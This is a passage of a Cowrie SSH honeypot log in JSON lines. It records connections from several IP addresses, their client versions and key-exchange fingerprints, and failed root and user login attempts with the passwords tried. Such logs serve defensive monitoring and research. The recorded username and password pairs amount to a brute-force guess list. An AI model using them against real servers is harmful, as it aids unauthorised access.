"hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:41.331273Z","src_ip":"95.90.13.168","session":"adf87cc210cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:41.796438Z","src_ip":"95.90.13.168","session":"adf87cc210cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:42.910326Z","src_ip":"95.90.13.168","session":"adf87cc210cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":57108,"dst_ip":"10.17.0.5","dst_port":22,"session":"afda08670496","protocol":"ssh","message":"New connection: 14.63.196.175:57108 (10.17.0.5:22) [session: afda08670496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:46.208448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:46.213102Z","src_ip":"14.63.196.175","session":"afda08670496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:46.411170Z","src_ip":"14.63.196.175","session":"afda08670496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa123","message":"login attempt [root/pa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:47.233860Z","src_ip":"14.63.196.175","session":"afda08670496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:48.435338Z","src_ip":"14.63.196.175","session":"afda08670496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47828,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd553927c02a","protocol":"ssh","message":"New connection: 8.218.166.49:47828 (10.17.0.5:22) [session: fd553927c02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:55.347814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:56.245733Z","src_ip":"8.218.166.49","session":"fd553927c02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:56.251480Z","src_ip":"8.218.166.49","session":"fd553927c02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":59776,"dst_ip":"10.17.0.5","dst_port":22,"session":"4487e58b8c63","protocol":"ssh","message":"New connection: 183.182.125.142:59776 (10.17.0.5:22) [session: 4487e58b8c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:56.526979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:56.531268Z","src_ip":"183.182.125.142","session":"4487e58b8c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:56.804111Z","src_ip":"183.182.125.142","session":"4487e58b8c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shannon","message":"login attempt [root/shannon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:57.928722Z","src_ip":"183.182.125.142","session":"4487e58b8c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:59.205643Z","src_ip":"183.182.125.142","session":"4487e58b8c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:59.331047Z","src_ip":"8.218.166.49","session":"fd553927c02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":54818,"dst_ip":"159.203.135.109","dst_port":22,"session":"085e40ee8a60","protocol":"ssh","message":"New connection: 31.57.216.40:54818 (159.203.135.109:22) [session: 085e40ee8a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:00.655919Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:00.666279Z","src_ip":"31.57.216.40","session":"085e40ee8a60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":54834,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e9338ddb77","protocol":"ssh","message":"New connection: 31.57.216.40:54834 (159.203.135.109:22) [session: d5e9338ddb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:00.840857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:00.845418Z","src_ip":"31.57.216.40","session":"d5e9338ddb77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:00.898697Z","src_ip":"8.218.166.49","session":"fd553927c02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:00.953050Z","src_ip":"31.57.216.40","session":"d5e9338ddb77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:01.314556Z","src_ip":"31.57.216.40","session":"d5e9338ddb77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:02.422691Z","src_ip":"31.57.216.40","session":"d5e9338ddb77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":62721,"dst_ip":"10.17.0.5","dst_port":22,"session":"fac338f7fd8f","protocol":"ssh","message":"New connection: 95.90.13.168:62721 (10.17.0.5:22) [session: fac338f7fd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:24.293247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:24.297879Z","src_ip":"95.90.13.168","session":"fac338f7fd8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:24.411882Z","src_ip":"95.90.13.168","session":"fac338f7fd8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexsander","message":"login attempt [root/alexsander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:24.885638Z","src_ip":"95.90.13.168","session":"fac338f7fd8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48666,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf550e9551b9","protocol":"ssh","message":"New connection: 8.218.166.49:48666 (10.17.0.5:22) [session: bf550e9551b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:25.948135Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:25.997816Z","src_ip":"95.90.13.168","session":"fac338f7fd8f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:28.907160Z","src_ip":"8.218.166.49","session":"bf550e9551b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:34.286915Z","src_ip":"8.218.166.49","session":"bf550e9551b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:41.182708Z","src_ip":"8.218.166.49","session":"bf550e9551b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:42.469908Z","src_ip":"8.218.166.49","session":"bf550e9551b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43728,"dst_ip":"10.17.0.5","dst_port":22,"session":"be41d6222d23","protocol":"ssh","message":"New connection: 8.218.166.49:43728 (10.17.0.5:22) [session: be41d6222d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:48.717528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:48.721516Z","src_ip":"8.218.166.49","session":"be41d6222d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35548,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9a5d446c7b5","protocol":"ssh","message":"New connection: 8.218.166.49:35548 (10.17.0.5:22) [session: a9a5d446c7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:58.153075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:58.175191Z","src_ip":"8.218.166.49","session":"a9a5d446c7b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:58.370833Z","src_ip":"8.218.166.49","session":"a9a5d446c7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:35:59.748245Z","src_ip":"8.218.166.49","session":"a9a5d446c7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:00.963141Z","src_ip":"8.218.166.49","session":"a9a5d446c7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54002,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9fe4402cdc","protocol":"ssh","message":"New connection: 8.218.166.49:54002 (10.17.0.5:22) [session: 3e9fe4402cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:05.390672Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39188,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b132fd2ce9","protocol":"ssh","message":"New connection: 87.251.64.176:39188 (10.17.0.5:22) [session: 75b132fd2ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:22.239690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:22.245133Z","src_ip":"87.251.64.176","session":"75b132fd2ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-